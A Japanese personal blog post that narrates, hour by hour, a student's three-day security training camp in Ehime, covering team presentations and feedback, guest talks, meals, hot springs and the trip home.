夕飯を作る気力なかったので研究室帰りにカレーうどんを食べた.
家に帰ってから15分程度で愛媛回の宿泊準備を終えて就寝.

1日目 (11/30)

05:30

起床.

09:00

羽田空港到着.
空港での待ち時間は自分の担当箇所のデモの確認をしていた.

11:20

松山空港到着.
人生初の四国だったのでテンションがあがった.
噂では聞いていたが本当に蛇口からみかんジュースがでて笑ってしまった.

f:id:satto1237:20181203130624j:plain

11:30

リムジンバスにのって道後温泉に向かった.
道中で路面電車?を見かけたので鉄オタに写真を送ってみたら「坊っちゃん列車じゃん。こいつ方向転換面白いから絶対見ろよ」と言われたのですが見れませんでした.

f:id:satto1237:20181203132344j:plain

f:id:satto1237:20181203132451p:plain

12:10

道後温泉駅着.

f:id:satto1237:20181203132944j:plain

12:30

昼飯🍜

f:id:satto1237:20181203133130j:plain

14:20

会場到着.
自分たちのチームの発表までプレゼン資料の手直しをしていた.

17:00

プレゼン.
フィードバックとして「全体的によくできてるんだけど尖ったものがない」「最初から80点を目指して作ってる感じ」「パッションを持てばもっと尖ったものができる」というアドバイスを多く頂いた.
既存サービスを調査してそことの差分を推したのですがそれでも不十分ということでした.
尖ったものを作るのって難しいなと思った.

18:00

夕飯(圧倒的人権).

f:id:satto1237:20181203150538j:plain

f:id:satto1237:20181203150608j:plain

f:id:satto1237:20181203150627j:plain

19:00

資料を直しつつ他の人達の発表を聞いた.

20:00

米空軍少佐(サイバー部隊)の講演を聴講.
日本とアメリカのセキュリティ意識の差を痛感した (正確には自衛隊 と US AIRFORCE の差) .

21:00

温泉(圧倒的人権).

26:00

セルフナイトチャレンジ.
チームメンバがゴリゴリ進捗だしてるときに自分はパケットキャプチャして遊んでました .

2日目 (12/01)

08:30

起床チャレンジ失敗.
5分で着替えて5分で朝食を食べた.

f:id:satto1237:20181203151541j:plain

09:00

デモ & ポスター発表.
ここでも1日目と同様のアドバイスをもらった.
尖ったプロダクトとは…

12:30

昼飯.

13:30

散策.
レクリエーションとして近くの山を散歩した.
滝と紅葉がいい感じだった (語彙力).

f:id:satto1237:20181203152007j:plain

f:id:satto1237:20181203152032j:plain

f:id:satto1237:20181203152254j:plain

14:00

15:00まで自由時間ということだったので部屋に戻って昼寝した.

15:00

修了生LT.
修了生強い人しかおらんな…となった.
友利奈緒(セキュリティ)さん強スギィ!

15:30

沖縄回までに何をやっていくのかを話し合った.
あとはシステム構成図やポスターについてフィードバックをもらったのでそこを修正したり,脆弱性検査の詰めが甘かったのでそこを確認したりしてた.

18:00

夕飯 (圧倒的人権).
f:id:satto1237:20181203153010j:plain

19:00

ゲスト講演 (1).
内容はAIとの付き合い方についてでした.
簡単な技術紹介の後はマインド的な部分の話でした.
なかでも「技術を手段として使っていくというのは確かにいいことだけれども技術を目的として極めていく人間がいないと新しいものは生まれてこない.みなさんにはそういう人になってもらいたい.」という言葉は就活で身の振り方を考えていた自分には結構刺さりました.

20:00

ゲスト講演 (2).
桂三幸氏による寄席でした.
やはりプロの方ということで面白かったです.

21:00

温泉 (圧倒的人権).

26:00

セルフナイトチャレンジ.

3日目 (12/02)

08:30

起床チャレンジ失敗.
無意識にアラームを止めてしまうのでもうだめ.
5分で着替えて朝食へ

f:id:satto1237:20181203154406j:plain

09:00

自分たちの発表までは資料直しと今後についての話し合いをしていました.
この話し合いでちょっとおもしろいアイデアがでたので頑張り次第では尖ったプロダクトになるのでは???となりました.

11:45

プレゼン.
発表時間を3分オーバーしてしまった.
プレゼンが終わってから「これ学会だったら強制終了やな(笑)」という話をしたのですが笑い事ではないですね.
本番は時間厳守でいきます (?)

12:00

昼飯.

13:00

資料直し.

14:30

クロージング.

15:00

解散.

16:20

松山空港到着.
ラーメン🍜食べてお土産買って羽田へ

f:id:satto1237:20181203155203j:plain

19:20

羽田空港到着.

20:10

ゆゆ式展到着.

ゆゆ式10周年記念展開催決定! -TVアニメ「ゆゆ式」公式サイト-

f:id:satto1237:20181203155410j:plain

魂が震えた.

21:30

自宅到着.
バス+飛行機+モノレール+電車という移動のせいでかなり疲れた.

まとめ

  • Metasploit おじさんになる
  • 就活と研究と並行してSecHackの進捗もだしていく (願望)
  • 年末年始もだらけないでがんばる